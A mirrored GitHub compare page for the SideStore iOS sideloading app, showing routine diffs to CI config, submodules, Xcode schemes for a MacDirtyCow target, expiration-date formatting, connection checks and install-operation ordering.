mirror of
https://github.com/SideStore/SideStore.git
synced 2026-04-08 03:35:40 +02:00
Compare commits
56 Commits
0.5.1
...
junepark67
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f013e956b3 | ||
|
|
0e9deea7a6 | ||
|
|
42ecd38517 | ||
|
|
9f7d4dee49 | ||
|
|
458b8e491e | ||
|
|
495e621e69 | ||
|
|
c986512b5f | ||
|
|
d277754ae5 | ||
|
|
2ef2e2f26b | ||
|
|
23a53034fa | ||
|
|
ce57d72a78 | ||
|
|
502b89d890 | ||
|
|
5f0015fad0 | ||
|
|
c81236957b | ||
|
|
970ab38b27 | ||
|
|
8a5c31b81d | ||
|
|
8508fe79b5 | ||
|
|
3859e98801 | ||
|
|
a759c7be9e | ||
|
|
12fc6cf6e2 | ||
|
|
580db6530e | ||
|
|
9c67c237ee | ||
|
|
357d85a72e | ||
|
|
88ad828ce0 | ||
|
|
a95625a34a | ||
|
|
95e00d81f5 | ||
|
|
c2e386a5c5 | ||
|
|
a76aade4ff | ||
|
|
65c9986103 | ||
|
|
9e2b9b6639 | ||
|
|
cf373634d7 | ||
|
|
b3d5d976b4 | ||
|
|
c3c31995ce | ||
|
|
7e92e17429 | ||
|
|
88ab8fa8d7 | ||
|
|
ebe78932bf | ||
|
|
2e613e6d15 | ||
|
|
35ee92db12 | ||
|
|
04d9f760ad | ||
|
|
4f52743be8 | ||
|
|
32cae7a5b2 | ||
|
|
c2c0e3b790 | ||
|
|
6d36a30787 | ||
|
|
48a86ec6de | ||
|
|
5cff914ff3 | ||
|
|
70ea725ce3 | ||
|
|
78f12e45f9 | ||
|
|
e5061acc20 | ||
|
|
2d7bc51d30 | ||
|
|
9128b67ee8 | ||
|
|
551c004476 | ||
|
|
ed6a8d1379 | ||
|
|
766fb89e0b | ||
|
|
c5b8cb4459 | ||
|
|
0deae92829 | ||
|
|
cc5d2f1813 |
2
.github/CODEOWNERS
vendored
2
.github/CODEOWNERS
vendored
@@ -1 +1 @@
|
|||||||
* @JoeMatt @lonkelle
|
* @JoeMatt @lonkelle @nythepegasus @Spidy123222 @SternXD
|
||||||
|
|||||||
1
.github/workflows/stable.yml
vendored
1
.github/workflows/stable.yml
vendored
@@ -3,6 +3,7 @@ on:
|
|||||||
push:
|
push:
|
||||||
tags:
|
tags:
|
||||||
- '[0-9]+.[0-9]+.[0-9]+' # example: 1.0.0
|
- '[0-9]+.[0-9]+.[0-9]+' # example: 1.0.0
|
||||||
|
workflow_dispatch:
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
build:
|
build:
|
||||||
|
|||||||
2
.gitmodules
vendored
2
.gitmodules
vendored
@@ -9,7 +9,7 @@
|
|||||||
url = https://github.com/libimobiledevice/libusbmuxd.git
|
url = https://github.com/libimobiledevice/libusbmuxd.git
|
||||||
[submodule "Dependencies/libplist"]
|
[submodule "Dependencies/libplist"]
|
||||||
path = Dependencies/libplist
|
path = Dependencies/libplist
|
||||||
url = https://github.com/libimobiledevice/libplist.git
|
url = https://github.com/SideStore/libplist.git
|
||||||
[submodule "Dependencies/MarkdownAttributedString"]
|
[submodule "Dependencies/MarkdownAttributedString"]
|
||||||
path = Dependencies/MarkdownAttributedString
|
path = Dependencies/MarkdownAttributedString
|
||||||
url = https://github.com/chockenberry/MarkdownAttributedString.git
|
url = https://github.com/chockenberry/MarkdownAttributedString.git
|
||||||
|
|||||||
@@ -5,9 +5,9 @@
|
|||||||
"color-space" : "srgb",
|
"color-space" : "srgb",
|
||||||
"components" : {
|
"components" : {
|
||||||
"alpha" : "1.000",
|
"alpha" : "1.000",
|
||||||
"blue" : "0.518",
|
"blue" : "175",
|
||||||
"green" : "0.502",
|
"green" : "4",
|
||||||
"red" : "0.004"
|
"red" : "115"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"idiom" : "universal"
|
"idiom" : "universal"
|
||||||
@@ -23,9 +23,9 @@
|
|||||||
"color-space" : "srgb",
|
"color-space" : "srgb",
|
||||||
"components" : {
|
"components" : {
|
||||||
"alpha" : "1.000",
|
"alpha" : "1.000",
|
||||||
"blue" : "0.404",
|
"blue" : "150",
|
||||||
"green" : "0.322",
|
"green" : "3",
|
||||||
"red" : "0.008"
|
"red" : "99"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"idiom" : "universal"
|
"idiom" : "universal"
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,67 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<Scheme
|
||||||
|
LastUpgradeVersion = "1420"
|
||||||
|
version = "1.3">
|
||||||
|
<BuildAction
|
||||||
|
parallelizeBuildables = "YES"
|
||||||
|
buildImplicitDependencies = "YES">
|
||||||
|
<BuildActionEntries>
|
||||||
|
<BuildActionEntry
|
||||||
|
buildForTesting = "YES"
|
||||||
|
buildForRunning = "YES"
|
||||||
|
buildForProfiling = "YES"
|
||||||
|
buildForArchiving = "YES"
|
||||||
|
buildForAnalyzing = "YES">
|
||||||
|
<BuildableReference
|
||||||
|
BuildableIdentifier = "primary"
|
||||||
|
BlueprintIdentifier = "BDE94B3D2B15EEDA00B506A1"
|
||||||
|
BuildableName = "MacDirtyCow.framework"
|
||||||
|
BlueprintName = "MacDirtyCow"
|
||||||
|
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||||
|
</BuildableReference>
|
||||||
|
</BuildActionEntry>
|
||||||
|
</BuildActionEntries>
|
||||||
|
</BuildAction>
|
||||||
|
<TestAction
|
||||||
|
buildConfiguration = "Debug"
|
||||||
|
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||||
|
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||||
|
shouldUseLaunchSchemeArgsEnv = "YES">
|
||||||
|
<Testables>
|
||||||
|
</Testables>
|
||||||
|
</TestAction>
|
||||||
|
<LaunchAction
|
||||||
|
buildConfiguration = "Debug"
|
||||||
|
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||||
|
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||||
|
launchStyle = "0"
|
||||||
|
useCustomWorkingDirectory = "NO"
|
||||||
|
ignoresPersistentStateOnLaunch = "NO"
|
||||||
|
debugDocumentVersioning = "YES"
|
||||||
|
debugServiceExtension = "internal"
|
||||||
|
allowLocationSimulation = "YES">
|
||||||
|
</LaunchAction>
|
||||||
|
<ProfileAction
|
||||||
|
buildConfiguration = "Release"
|
||||||
|
shouldUseLaunchSchemeArgsEnv = "YES"
|
||||||
|
savedToolIdentifier = ""
|
||||||
|
useCustomWorkingDirectory = "NO"
|
||||||
|
debugDocumentVersioning = "YES">
|
||||||
|
<MacroExpansion>
|
||||||
|
<BuildableReference
|
||||||
|
BuildableIdentifier = "primary"
|
||||||
|
BlueprintIdentifier = "BDE94B3D2B15EEDA00B506A1"
|
||||||
|
BuildableName = "MacDirtyCow.framework"
|
||||||
|
BlueprintName = "MacDirtyCow"
|
||||||
|
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||||
|
</BuildableReference>
|
||||||
|
</MacroExpansion>
|
||||||
|
</ProfileAction>
|
||||||
|
<AnalyzeAction
|
||||||
|
buildConfiguration = "Debug">
|
||||||
|
</AnalyzeAction>
|
||||||
|
<ArchiveAction
|
||||||
|
buildConfiguration = "Release"
|
||||||
|
revealArchiveInOrganizer = "YES">
|
||||||
|
</ArchiveAction>
|
||||||
|
</Scheme>
|
||||||
@@ -0,0 +1,78 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<Scheme
|
||||||
|
LastUpgradeVersion = "1420"
|
||||||
|
version = "1.3">
|
||||||
|
<BuildAction
|
||||||
|
parallelizeBuildables = "YES"
|
||||||
|
buildImplicitDependencies = "YES">
|
||||||
|
<BuildActionEntries>
|
||||||
|
<BuildActionEntry
|
||||||
|
buildForTesting = "YES"
|
||||||
|
buildForRunning = "YES"
|
||||||
|
buildForProfiling = "YES"
|
||||||
|
buildForArchiving = "YES"
|
||||||
|
buildForAnalyzing = "YES">
|
||||||
|
<BuildableReference
|
||||||
|
BuildableIdentifier = "primary"
|
||||||
|
BlueprintIdentifier = "BDE94A972B15E4D300B506A1"
|
||||||
|
BuildableName = "SideStore MacDirtyCow.app"
|
||||||
|
BlueprintName = "SideStore MacDirtyCow"
|
||||||
|
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||||
|
</BuildableReference>
|
||||||
|
</BuildActionEntry>
|
||||||
|
</BuildActionEntries>
|
||||||
|
</BuildAction>
|
||||||
|
<TestAction
|
||||||
|
buildConfiguration = "Debug"
|
||||||
|
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||||
|
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||||
|
shouldUseLaunchSchemeArgsEnv = "YES">
|
||||||
|
<Testables>
|
||||||
|
</Testables>
|
||||||
|
</TestAction>
|
||||||
|
<LaunchAction
|
||||||
|
buildConfiguration = "Debug"
|
||||||
|
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||||
|
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||||
|
launchStyle = "0"
|
||||||
|
useCustomWorkingDirectory = "NO"
|
||||||
|
ignoresPersistentStateOnLaunch = "NO"
|
||||||
|
debugDocumentVersioning = "YES"
|
||||||
|
debugServiceExtension = "internal"
|
||||||
|
allowLocationSimulation = "YES">
|
||||||
|
<BuildableProductRunnable
|
||||||
|
runnableDebuggingMode = "0">
|
||||||
|
<BuildableReference
|
||||||
|
BuildableIdentifier = "primary"
|
||||||
|
BlueprintIdentifier = "BDE94A972B15E4D300B506A1"
|
||||||
|
BuildableName = "SideStore MacDirtyCow.app"
|
||||||
|
BlueprintName = "SideStore MacDirtyCow"
|
||||||
|
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||||
|
</BuildableReference>
|
||||||
|
</BuildableProductRunnable>
|
||||||
|
</LaunchAction>
|
||||||
|
<ProfileAction
|
||||||
|
buildConfiguration = "Release"
|
||||||
|
shouldUseLaunchSchemeArgsEnv = "YES"
|
||||||
|
savedToolIdentifier = ""
|
||||||
|
useCustomWorkingDirectory = "NO"
|
||||||
|
debugDocumentVersioning = "YES">
|
||||||
|
<BuildableProductRunnable
|
||||||
|
runnableDebuggingMode = "0">
|
||||||
|
<BuildableReference
|
||||||
|
BuildableIdentifier = "primary"
|
||||||
|
BlueprintIdentifier = "BDE94A972B15E4D300B506A1"
|
||||||
|
BuildableName = "SideStore MacDirtyCow.app"
|
||||||
|
BlueprintName = "SideStore MacDirtyCow"
|
||||||
|
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||||
|
</BuildableReference>
|
||||||
|
</BuildableProductRunnable>
|
||||||
|
</ProfileAction>
|
||||||
|
<AnalyzeAction
|
||||||
|
buildConfiguration = "Debug">
|
||||||
|
</AnalyzeAction>
|
||||||
|
<ArchiveAction
|
||||||
|
buildConfiguration = "Release"
|
||||||
|
revealArchiveInOrganizer = "YES">
|
||||||
|
</ArchiveAction>
|
||||||
|
</Scheme>
|
||||||
@@ -90,14 +90,21 @@ private extension AppIDsViewController
|
|||||||
cell.bannerView.button.isUserInteractionEnabled = false
|
cell.bannerView.button.isUserInteractionEnabled = false
|
||||||
|
|
||||||
cell.bannerView.buttonLabel.isHidden = false
|
cell.bannerView.buttonLabel.isHidden = false
|
||||||
|
|
||||||
let currentDate = Date()
|
let currentDate = Date()
|
||||||
|
|
||||||
let numberOfDays = expirationDate.numberOfCalendarDays(since: currentDate)
|
let formatter = DateComponentsFormatter()
|
||||||
let numberOfDaysText = (numberOfDays == 1) ? NSLocalizedString("1 day", comment: "") : String(format: NSLocalizedString("%@ days", comment: ""), NSNumber(value: numberOfDays))
|
formatter.unitsStyle = .full
|
||||||
cell.bannerView.button.setTitle(numberOfDaysText.uppercased(), for: .normal)
|
formatter.includesApproximationPhrase = false
|
||||||
|
formatter.includesTimeRemainingPhrase = false
|
||||||
|
formatter.allowedUnits = [.minute, .hour, .day]
|
||||||
|
formatter.maximumUnitCount = 1
|
||||||
|
|
||||||
attributedAccessibilityLabel.mutableString.append(String(format: NSLocalizedString("Expires in %@.", comment: ""), numberOfDaysText) + " ")
|
cell.bannerView.button.setTitle((formatter.string(from: currentDate, to: expirationDate) ?? NSLocalizedString("Unknown", comment: "")).uppercased(), for: .normal)
|
||||||
|
|
||||||
|
// formatter.includesTimeRemainingPhrase = true
|
||||||
|
|
||||||
|
// attributedAccessibilityLabel.mutableString.append((formatter.string(from: currentDate, to: expirationDate) ?? NSLocalizedString("Unknown", comment: "")) + " ")
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -8,6 +8,7 @@
|
|||||||
|
|
||||||
import UIKit
|
import UIKit
|
||||||
|
|
||||||
|
import minimuxer
|
||||||
import AltStoreCore
|
import AltStoreCore
|
||||||
import Roxas
|
import Roxas
|
||||||
|
|
||||||
@@ -264,7 +265,13 @@ private extension BrowseViewController
|
|||||||
previousProgress?.cancel()
|
previousProgress?.cancel()
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if !minimuxer.ready() {
|
||||||
|
let toastView = ToastView(error: MinimuxerError.NoConnection)
|
||||||
|
toastView.show(in: self)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
_ = AppManager.shared.install(app, presentingViewController: self) { (result) in
|
_ = AppManager.shared.install(app, presentingViewController: self) { (result) in
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async {
|
||||||
switch result
|
switch result
|
||||||
|
|||||||
@@ -81,7 +81,7 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
|||||||
} else {
|
} else {
|
||||||
// Show an alert explaining the pairing file
|
// Show an alert explaining the pairing file
|
||||||
// Create new Alert
|
// Create new Alert
|
||||||
let dialogMessage = UIAlertController(title: "Pairing File", message: "Select the pairing file for your device. For more information, go to https://wiki.sidestore.io/guides/install#pairing-process", preferredStyle: .alert)
|
let dialogMessage = UIAlertController(title: "Pairing File", message: "Select the pairing file for your device. For more information, go to https://wiki.sidestore.io/guides/getting-started/#pairing-file", preferredStyle: .alert)
|
||||||
|
|
||||||
// Create OK button with action handler
|
// Create OK button with action handler
|
||||||
let ok = UIAlertAction(title: "OK", style: .default, handler: { (action) -> Void in
|
let ok = UIAlertAction(title: "OK", style: .default, handler: { (action) -> Void in
|
||||||
@@ -155,7 +155,12 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
|||||||
try! FileManager.default.removeItem(at: FileManager.default.documentsDirectory.appendingPathComponent("\(pairingFileName)"))
|
try! FileManager.default.removeItem(at: FileManager.default.documentsDirectory.appendingPathComponent("\(pairingFileName)"))
|
||||||
displayError("minimuxer failed to start, please restart SideStore. \((error as? LocalizedError)?.failureReason ?? "UNKNOWN ERROR!!!!!! REPORT TO GITHUB ISSUES!")")
|
displayError("minimuxer failed to start, please restart SideStore. \((error as? LocalizedError)?.failureReason ?? "UNKNOWN ERROR!!!!!! REPORT TO GITHUB ISSUES!")")
|
||||||
}
|
}
|
||||||
start_auto_mounter(documentsDirectory)
|
if #available(iOS 17, *) {
|
||||||
|
// TODO: iOS 17 and above have a new JIT implementation that is completely broken in SideStore :(
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
start_auto_mounter(documentsDirectory)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -307,6 +307,16 @@ extension AppManager
|
|||||||
presentingViewController.present(alertController, animated: true, completion: nil)
|
presentingViewController.present(alertController, animated: true, completion: nil)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func clearAppCache(completion: @escaping (Result<Void, Error>) -> Void)
|
||||||
|
{
|
||||||
|
let clearAppCacheOperation = ClearAppCacheOperation()
|
||||||
|
clearAppCacheOperation.resultHandler = { result in
|
||||||
|
completion(result)
|
||||||
|
}
|
||||||
|
|
||||||
|
self.run([clearAppCacheOperation], context: nil)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
extension AppManager
|
extension AppManager
|
||||||
@@ -754,6 +764,12 @@ extension AppManager
|
|||||||
let progress = self.refreshProgress[app.bundleIdentifier]
|
let progress = self.refreshProgress[app.bundleIdentifier]
|
||||||
return progress
|
return progress
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func isActivelyManagingApp(withBundleID bundleID: String) -> Bool
|
||||||
|
{
|
||||||
|
let isActivelyManaging = self.installationProgress.keys.contains(bundleID) || self.refreshProgress.keys.contains(bundleID)
|
||||||
|
return isActivelyManaging
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
extension AppManager
|
extension AppManager
|
||||||
@@ -808,12 +824,6 @@ private extension AppManager
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func isActivelyManagingApp(withBundleID bundleID: String) -> Bool
|
|
||||||
{
|
|
||||||
let isActivelyManaging = self.installationProgress.keys.contains(bundleID) || self.refreshProgress.keys.contains(bundleID)
|
|
||||||
return isActivelyManaging
|
|
||||||
}
|
|
||||||
|
|
||||||
@discardableResult
|
@discardableResult
|
||||||
private func perform(_ operations: [AppOperation], presentingViewController: UIViewController?, group: RefreshGroup) -> RefreshGroup
|
private func perform(_ operations: [AppOperation], presentingViewController: UIViewController?, group: RefreshGroup) -> RefreshGroup
|
||||||
{
|
{
|
||||||
@@ -948,7 +958,13 @@ private extension AppManager
|
|||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
|
DispatchQueue.main.schedule {
|
||||||
|
UIApplication.shared.isIdleTimerDisabled = UserDefaults.standard.isIdleTimeoutDisableEnabled
|
||||||
|
}
|
||||||
performAppOperations()
|
performAppOperations()
|
||||||
|
DispatchQueue.main.schedule {
|
||||||
|
UIApplication.shared.isIdleTimerDisabled = false
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return group
|
return group
|
||||||
@@ -1027,6 +1043,32 @@ private extension AppManager
|
|||||||
verifyOperation.addDependency(downloadOperation)
|
verifyOperation.addDependency(downloadOperation)
|
||||||
|
|
||||||
|
|
||||||
|
/* Refresh Anisette Data */
|
||||||
|
let refreshAnisetteDataOperation = FetchAnisetteDataOperation(context: group.context)
|
||||||
|
refreshAnisetteDataOperation.resultHandler = { (result) in
|
||||||
|
switch result
|
||||||
|
{
|
||||||
|
case .failure(let error): context.error = error
|
||||||
|
case .success(let anisetteData): group.context.session?.anisetteData = anisetteData
|
||||||
|
}
|
||||||
|
}
|
||||||
|
refreshAnisetteDataOperation.addDependency(verifyOperation)
|
||||||
|
|
||||||
|
|
||||||
|
/* Fetch Provisioning Profiles */
|
||||||
|
let fetchProvisioningProfilesOperation = FetchProvisioningProfilesOperation(context: context)
|
||||||
|
fetchProvisioningProfilesOperation.additionalEntitlements = additionalEntitlements
|
||||||
|
fetchProvisioningProfilesOperation.resultHandler = { (result) in
|
||||||
|
switch result
|
||||||
|
{
|
||||||
|
case .failure(let error): context.error = error
|
||||||
|
case .success(let provisioningProfiles): context.provisioningProfiles = provisioningProfiles
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fetchProvisioningProfilesOperation.addDependency(refreshAnisetteDataOperation)
|
||||||
|
progress.addChild(fetchProvisioningProfilesOperation.progress, withPendingUnitCount: 5)
|
||||||
|
|
||||||
|
|
||||||
/* Deactivate Apps (if necessary) */
|
/* Deactivate Apps (if necessary) */
|
||||||
let deactivateAppsOperation = RSTAsyncBlockOperation { [weak self] (operation) in
|
let deactivateAppsOperation = RSTAsyncBlockOperation { [weak self] (operation) in
|
||||||
do
|
do
|
||||||
@@ -1042,6 +1084,12 @@ private extension AppManager
|
|||||||
{
|
{
|
||||||
throw error
|
throw error
|
||||||
}
|
}
|
||||||
|
|
||||||
|
guard let profiles = context.provisioningProfiles else { throw OperationError.invalidParameters }
|
||||||
|
if !profiles.contains(where: { $1.isFreeProvisioningProfile == true }) {
|
||||||
|
operation.finish()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
guard let app = context.app, let presentingViewController = context.authenticatedContext.presentingViewController else { throw OperationError.invalidParameters }
|
guard let app = context.app, let presentingViewController = context.authenticatedContext.presentingViewController else { throw OperationError.invalidParameters }
|
||||||
|
|
||||||
@@ -1061,7 +1109,7 @@ private extension AppManager
|
|||||||
operation.finish()
|
operation.finish()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
deactivateAppsOperation.addDependency(verifyOperation)
|
deactivateAppsOperation.addDependency(fetchProvisioningProfilesOperation)
|
||||||
|
|
||||||
|
|
||||||
/* Patch App */
|
/* Patch App */
|
||||||
@@ -1136,32 +1184,6 @@ private extension AppManager
|
|||||||
patchAppOperation.addDependency(deactivateAppsOperation)
|
patchAppOperation.addDependency(deactivateAppsOperation)
|
||||||
|
|
||||||
|
|
||||||
/* Refresh Anisette Data */
|
|
||||||
let refreshAnisetteDataOperation = FetchAnisetteDataOperation(context: group.context)
|
|
||||||
refreshAnisetteDataOperation.resultHandler = { (result) in
|
|
||||||
switch result
|
|
||||||
{
|
|
||||||
case .failure(let error): context.error = error
|
|
||||||
case .success(let anisetteData): group.context.session?.anisetteData = anisetteData
|
|
||||||
}
|
|
||||||
}
|
|
||||||
refreshAnisetteDataOperation.addDependency(patchAppOperation)
|
|
||||||
|
|
||||||
|
|
||||||
/* Fetch Provisioning Profiles */
|
|
||||||
let fetchProvisioningProfilesOperation = FetchProvisioningProfilesOperation(context: context)
|
|
||||||
fetchProvisioningProfilesOperation.additionalEntitlements = additionalEntitlements
|
|
||||||
fetchProvisioningProfilesOperation.resultHandler = { (result) in
|
|
||||||
switch result
|
|
||||||
{
|
|
||||||
case .failure(let error): context.error = error
|
|
||||||
case .success(let provisioningProfiles): context.provisioningProfiles = provisioningProfiles
|
|
||||||
}
|
|
||||||
}
|
|
||||||
fetchProvisioningProfilesOperation.addDependency(refreshAnisetteDataOperation)
|
|
||||||
progress.addChild(fetchProvisioningProfilesOperation.progress, withPendingUnitCount: 5)
|
|
||||||
|
|
||||||
|
|
||||||
/* Resign */
|
/* Resign */
|
||||||
let resignAppOperation = ResignAppOperation(context: context)
|
let resignAppOperation = ResignAppOperation(context: context)
|
||||||
resignAppOperation.resultHandler = { (result) in
|
resignAppOperation.resultHandler = { (result) in
|
||||||
@@ -1171,7 +1193,7 @@ private extension AppManager
|
|||||||
case .success(let resignedApp): context.resignedApp = resignedApp
|
case .success(let resignedApp): context.resignedApp = resignedApp
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
resignAppOperation.addDependency(fetchProvisioningProfilesOperation)
|
resignAppOperation.addDependency(patchAppOperation)
|
||||||
progress.addChild(resignAppOperation.progress, withPendingUnitCount: 20)
|
progress.addChild(resignAppOperation.progress, withPendingUnitCount: 20)
|
||||||
|
|
||||||
|
|
||||||
@@ -1214,7 +1236,7 @@ private extension AppManager
|
|||||||
progress.addChild(installOperation.progress, withPendingUnitCount: 30)
|
progress.addChild(installOperation.progress, withPendingUnitCount: 30)
|
||||||
installOperation.addDependency(sendAppOperation)
|
installOperation.addDependency(sendAppOperation)
|
||||||
|
|
||||||
let operations = [downloadOperation, verifyOperation, deactivateAppsOperation, patchAppOperation, refreshAnisetteDataOperation, fetchProvisioningProfilesOperation, resignAppOperation, sendAppOperation, installOperation]
|
let operations = [downloadOperation, verifyOperation, refreshAnisetteDataOperation, fetchProvisioningProfilesOperation, deactivateAppsOperation, patchAppOperation, resignAppOperation, sendAppOperation, installOperation]
|
||||||
group.add(operations)
|
group.add(operations)
|
||||||
self.run(operations, context: group.context)
|
self.run(operations, context: group.context)
|
||||||
|
|
||||||
|
|||||||
@@ -15,6 +15,7 @@ import UniformTypeIdentifiers
|
|||||||
import AltStoreCore
|
import AltStoreCore
|
||||||
import AltSign
|
import AltSign
|
||||||
import Roxas
|
import Roxas
|
||||||
|
import minimuxer
|
||||||
|
|
||||||
import Nuke
|
import Nuke
|
||||||
|
|
||||||
@@ -328,21 +329,25 @@ private extension MyAppsViewController
|
|||||||
let currentDate = Date()
|
let currentDate = Date()
|
||||||
|
|
||||||
let numberOfDays = installedApp.expirationDate.numberOfCalendarDays(since: currentDate)
|
let numberOfDays = installedApp.expirationDate.numberOfCalendarDays(since: currentDate)
|
||||||
let numberOfDaysText: String
|
|
||||||
|
|
||||||
if numberOfDays == 1
|
let formatter = DateComponentsFormatter()
|
||||||
{
|
formatter.unitsStyle = .full
|
||||||
numberOfDaysText = NSLocalizedString("1 day", comment: "")
|
formatter.includesApproximationPhrase = false
|
||||||
}
|
formatter.includesTimeRemainingPhrase = false
|
||||||
else
|
|
||||||
{
|
formatter.allowedUnits = [.day, .hour, .minute]
|
||||||
numberOfDaysText = String(format: NSLocalizedString("%@ days", comment: ""), NSNumber(value: numberOfDays))
|
|
||||||
}
|
formatter.maximumUnitCount = 1
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
cell.bannerView.button.setTitle(formatter.string(from: currentDate, to: installedApp.expirationDate)?.uppercased(), for: .normal)
|
||||||
|
|
||||||
cell.bannerView.button.setTitle(numberOfDaysText.uppercased(), for: .normal)
|
|
||||||
cell.bannerView.button.accessibilityLabel = String(format: NSLocalizedString("Refresh %@", comment: ""), installedApp.name)
|
cell.bannerView.button.accessibilityLabel = String(format: NSLocalizedString("Refresh %@", comment: ""), installedApp.name)
|
||||||
|
|
||||||
cell.bannerView.accessibilityLabel? += ". " + String(format: NSLocalizedString("Expires in %@", comment: ""), numberOfDaysText)
|
formatter.includesTimeRemainingPhrase = true
|
||||||
|
|
||||||
|
cell.bannerView.accessibilityLabel? += ". " + (formatter.string(from: currentDate, to: installedApp.expirationDate) ?? NSLocalizedString("Unknown", comment: "")) + " "
|
||||||
|
|
||||||
// Make sure refresh button is correct size.
|
// Make sure refresh button is correct size.
|
||||||
cell.layoutIfNeeded()
|
cell.layoutIfNeeded()
|
||||||
@@ -640,6 +645,12 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
@IBAction func refreshAllApps(_ sender: UIBarButtonItem)
|
@IBAction func refreshAllApps(_ sender: UIBarButtonItem)
|
||||||
{
|
{
|
||||||
|
if !minimuxer.ready() {
|
||||||
|
let toastView = ToastView(error: MinimuxerError.NoConnection)
|
||||||
|
toastView.show(in: self)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
self.isRefreshingAllApps = true
|
self.isRefreshingAllApps = true
|
||||||
self.collectionView.collectionViewLayout.invalidateLayout()
|
self.collectionView.collectionViewLayout.invalidateLayout()
|
||||||
|
|
||||||
@@ -702,6 +713,12 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
@IBAction func sideloadApp(_ sender: UIBarButtonItem)
|
@IBAction func sideloadApp(_ sender: UIBarButtonItem)
|
||||||
{
|
{
|
||||||
|
if !minimuxer.ready() {
|
||||||
|
let toastView = ToastView(error: MinimuxerError.NoConnection)
|
||||||
|
toastView.show(in: self)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
let supportedTypes = UTType.types(tag: "ipa", tagClass: .filenameExtension, conformingTo: nil)
|
let supportedTypes = UTType.types(tag: "ipa", tagClass: .filenameExtension, conformingTo: nil)
|
||||||
|
|
||||||
let documentPickerViewController = UIDocumentPickerViewController(forOpeningContentTypes: supportedTypes, asCopy: true)
|
let documentPickerViewController = UIDocumentPickerViewController(forOpeningContentTypes: supportedTypes, asCopy: true)
|
||||||
@@ -1006,6 +1023,12 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
func refresh(_ installedApp: InstalledApp)
|
func refresh(_ installedApp: InstalledApp)
|
||||||
{
|
{
|
||||||
|
if !minimuxer.ready() {
|
||||||
|
let toastView = ToastView(error: MinimuxerError.NoConnection)
|
||||||
|
toastView.show(in: self)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
let previousProgress = AppManager.shared.refreshProgress(for: installedApp)
|
let previousProgress = AppManager.shared.refreshProgress(for: installedApp)
|
||||||
guard previousProgress == nil else {
|
guard previousProgress == nil else {
|
||||||
previousProgress?.cancel()
|
previousProgress?.cancel()
|
||||||
@@ -1027,6 +1050,12 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
func activate(_ installedApp: InstalledApp)
|
func activate(_ installedApp: InstalledApp)
|
||||||
{
|
{
|
||||||
|
if !minimuxer.ready() {
|
||||||
|
let toastView = ToastView(error: MinimuxerError.NoConnection)
|
||||||
|
toastView.show(in: self)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
func finish(_ result: Result<InstalledApp, Error>)
|
func finish(_ result: Result<InstalledApp, Error>)
|
||||||
{
|
{
|
||||||
do
|
do
|
||||||
@@ -1103,6 +1132,11 @@ private extension MyAppsViewController
|
|||||||
func deactivate(_ installedApp: InstalledApp, completionHandler: ((Result<InstalledApp, Error>) -> Void)? = nil)
|
func deactivate(_ installedApp: InstalledApp, completionHandler: ((Result<InstalledApp, Error>) -> Void)? = nil)
|
||||||
{
|
{
|
||||||
guard installedApp.isActive else { return }
|
guard installedApp.isActive else { return }
|
||||||
|
if !minimuxer.ready() {
|
||||||
|
let toastView = ToastView(error: MinimuxerError.NoConnection)
|
||||||
|
toastView.show(in: self)
|
||||||
|
return
|
||||||
|
}
|
||||||
installedApp.isActive = false
|
installedApp.isActive = false
|
||||||
|
|
||||||
AppManager.shared.deactivate(installedApp, presentingViewController: self) { (result) in
|
AppManager.shared.deactivate(installedApp, presentingViewController: self) { (result) in
|
